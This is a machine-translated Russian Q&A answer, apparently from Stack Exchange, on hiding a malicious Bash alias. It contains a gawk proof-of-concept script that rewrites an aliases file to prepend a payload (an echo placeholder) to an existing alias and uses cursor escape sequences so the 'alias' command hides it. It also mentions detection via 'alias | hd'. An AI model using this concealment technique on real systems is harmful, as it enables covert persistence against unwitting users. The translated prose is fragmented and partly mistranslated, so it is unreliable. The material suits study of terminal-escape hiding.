Можно ли скрыть существование вредоносного псевдонима в Bash в системе Linux и выполнить его пользователем без его ведома?
9
Это можно сделать, добавив существующий псевдоним к вредоносному и используя перемещение курсора, чтобы скрыть его, если alias
команда используется для отображения определений псевдонимов. Это не совсем надежный метод, но он может остаться незамеченным некоторое время. Трубопровод alias
через hd
покажет вам , есть ли какие - либо управляющие последовательности (движения курсора) в ваших псевдонимов. Вот подтверждение концепции того, как вредоносная команда может быть вставлена в псевдоним:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
изменяет файл под названием «псевдонимы» на месте - настоящий сценарий этого типа может пойти на горло и изменить настоящий файл сценария, чтобы вредоносный псевдоним был активирован при следующем запуске.hide
аргумента в качестве аргумента, поэтому вполне возможно, что вы можете получить ошибку, аналогичную той, о которой сообщалось в этом вопросе . Возможно, удастся изменить исходные и вредоносные части, чтобы повлиять на это, хотя это будет мешать аргументам, предоставляемым псевдониму. В приведенном выше сценарии сделана попытка пометить конец аргументов с помощью --
.&&
, вы можете трубы одного к другим и сделать вредоносный скрипт (представленный выше , с помощью простой echo
команды) функции как stdin
для stdout
сквозных либо изменить данные , как это происходит через или скрыть его существование дальше, не мешая другому перенаправлениюhide
Строка может быть изменена , чтобы включать другое перемещение курсора и текст оригинального псевдонима , поэтому alias
команда будет появляться , чтобы показать немодифицированный псевдоним вместо сокрытия его вместе с вредоносными части.. aliases
. Затем вы можете попытаться использовать затронутый псевдоним и посмотреть, как он выглядит, когда вы делаете alias|hd
.